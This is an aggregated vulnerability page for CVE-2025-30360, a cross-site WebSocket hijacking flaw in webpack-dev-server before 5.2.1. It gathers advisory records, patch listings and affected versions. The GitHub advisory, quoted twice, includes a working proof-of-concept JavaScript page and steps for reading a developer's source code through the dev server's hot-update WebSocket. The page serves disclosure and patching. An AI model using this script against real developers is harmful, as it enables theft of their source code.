CVE-2025-30360
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
- Record
CVE-2025-30360- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-346
- Updated
- 2026-11-02
EUVDEUVD-2025-16764
6.5
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
- Record
EUVD-2025-16764- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9jgg-88mc-972h
6.5
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
http://{ipaddress}/?target=http://localhost:8080&file=mainwith a non-Chromium browser (I used Firefox 134.0.1) - Edit
src/index.jsin the extracted directory - You can see the content of
src/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
- Record
GHSA-9jgg-88mc-972h- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-346
- Updated
- 2026-11-02
NVD
6.5
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
- Record
CVE-2025-30360- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-346
- Updated
- 2026-11-02
OSV
6.5
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
- Record
CVE-2025-30360- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-346
- Updated
- 2026-11-02
OSVGHSA-9jgg-88mc-972h
6.5
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
http://{ipaddress}/?target=http://localhost:8080&file=mainwith a non-Chromium browser (I used Firefox 134.0.1) - Edit
src/index.jsin the extracted directory - You can see the content of
src/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
- Record
GHSA-9jgg-88mc-972h- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-346
- Updated
- 2026-11-02
Show 13 moreShow less
OSVCLSA-2026-1774311630 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.1-tuxcare.1.
- Record
CLSA-2026-1774311630- Updated
- 2026-11-02
OSVCLSA-2026-1774398063 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.7.3-tuxcare.1.
- Record
CLSA-2026-1774398063- Updated
- 2026-11-02
OSVCLSA-2026-1774398065 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.0-tuxcare.1.
- Record
CLSA-2026-1774398065- Updated
- 2026-11-02
OSVCLSA-2026-1776299677 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.1.14-tuxcare.1.
- Record
CLSA-2026-1776299677- Updated
- 2026-11-02
OSVCLSA-2026-1779324462 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.2-tuxcare.1.
- Record
CLSA-2026-1779324462- Updated
- 2026-11-02
OSVCLSA-2026-1779410890 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.11.0-tuxcare.1.
- Record
CLSA-2026-1779410890- Updated
- 2026-11-02
OSVCLSA-2026-1784077483 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.2-tuxcare.1.
- Record
CLSA-2026-1784077483- Updated
- 2026-11-02
OSVCLSA-2026-1785204346 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 2.7.1-tuxcare.4.
- Record
CLSA-2026-1785204346- Updated
- 2026-11-02
OSVCLSA-2026-1786365773 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 3.11.3-tuxcare.4.
- Record
CLSA-2026-1786365773- Updated
- 2026-11-05
OSVCLSA-2026-1787821986 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 2.11.5-tuxcare.4.
- Record
CLSA-2026-1787821986- Updated
- 2026-11-02
OSVCLSA-2026-1787837465 No score
TuxCare security update for webpack-dev-server (3 CVEs)
TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.11.1-tuxcare.4.
- Record
CLSA-2026-1787837465- Updated
- 2026-11-02
OSVCLSA-2026-1790944348 No score
TuxCare security update for webpack-dev-server (2 CVEs)
TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.9.3-tuxcare.2.
- Record
CLSA-2026-1790944348- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-30360 No score
CVE-2025-30360 in webpack-dev-server - Patched by Root
Root has patched CVE-2025-30360 in the webpack-dev-server package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-30360- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
webpack-dev-servernpm |
through 5.2.0 | 5.2.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
4.15.1-tuxcare.0 up to 4.15.1-tuxcare.1, plus listed versions 4.15.1 |
4.15.1-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
4.7.3-tuxcare.0 up to 4.7.3-tuxcare.1, plus listed versions 4.7.3 |
4.7.3-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
3.11.0-tuxcare.0 up to 3.11.0-tuxcare.1, plus listed versions 3.11.0 |
3.11.0-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
3.1.14-tuxcare.0 up to 3.1.14-tuxcare.1, plus listed versions 3.1.14 |
3.1.14-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
3.11.2-tuxcare.0 up to 3.11.2-tuxcare.1, plus listed versions 3.11.2 |
3.11.2-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
4.11.0-tuxcare.0 up to 4.11.0-tuxcare.1, plus listed versions 4.11.0 |
4.11.0-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
4.15.2-tuxcare.0 up to 4.15.2-tuxcare.1, plus listed versions 4.15.2 |
4.15.2-tuxcare.1 |
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
2.7.1-tuxcare.0 up to 2.7.1-tuxcare.4, plus listed versions 2.7.12.7.1-tuxcare.12.7.1-tuxcare.22.7.1-tuxcare.3 |
2.7.1-tuxcare.4 |
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
3.11.3-tuxcare.0 up to 3.11.3-tuxcare.4, plus listed versions 3.11.33.11.3-tuxcare.13.11.3-tuxcare.23.11.3-tuxcare.3 |
3.11.3-tuxcare.4 |
Show 6 moreShow less
| Package | Affected | Fixed |
|---|---|---|
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
2.11.5-tuxcare.0 up to 2.11.5-tuxcare.4, plus listed versions 2.11.52.11.5-tuxcare.12.11.5-tuxcare.22.11.5-tuxcare.3 |
2.11.5-tuxcare.4 |
webpack-dev-serverTuxCare:npm From an advisory covering 3 CVEs |
4.11.1-tuxcare.0 up to 4.11.1-tuxcare.4, plus listed versions 4.11.14.11.1-tuxcare.14.11.1-tuxcare.24.11.1-tuxcare.3 |
4.11.1-tuxcare.4 |
webpack-dev-serverTuxCare:npm From an advisory covering 2 CVEs |
4.9.3-tuxcare.0 up to 4.9.3-tuxcare.2, plus listed versions 4.9.34.9.3-tuxcare.1 |
4.9.3-tuxcare.2 |
webpack-dev-servernpm |
before 5.2.1 | 5.2.1 |
webpack-dev-serverRoot:npm |
before 4.10.0-aikido.1 | 4.10.0-aikido.13.11.3-aikido.24.10.0-aikido.23.11.3-aikido.35.0.4-aikido.15.0.4-aikido.23.11.3-aikido.44.10.0-aikido.3 |
@rootio/webpack-dev-serverRoot:npm |
before 4.10.0-root.io.1 | 4.10.0-root.io.13.11.3-root.io.24.10.0-root.io.23.11.3-root.io.35.0.4-root.io.15.0.4-root.io.23.11.3-root.io.44.10.0-root.io.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-30360 is a medium vulnerability (CVSS 6.5) in Webpack Webpack-dev-server, published June 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 29th percentile. Fixed in webpack-dev-server 5.2.1.
References
github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h
github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e
github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb
github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js
nvd.nist.gov/vuln/detail/CVE-2025-30360
github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239
github.com/advisories/GHSA-9jgg-88mc-972h
github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30360.json
github.com/webpack/webpack-dev-server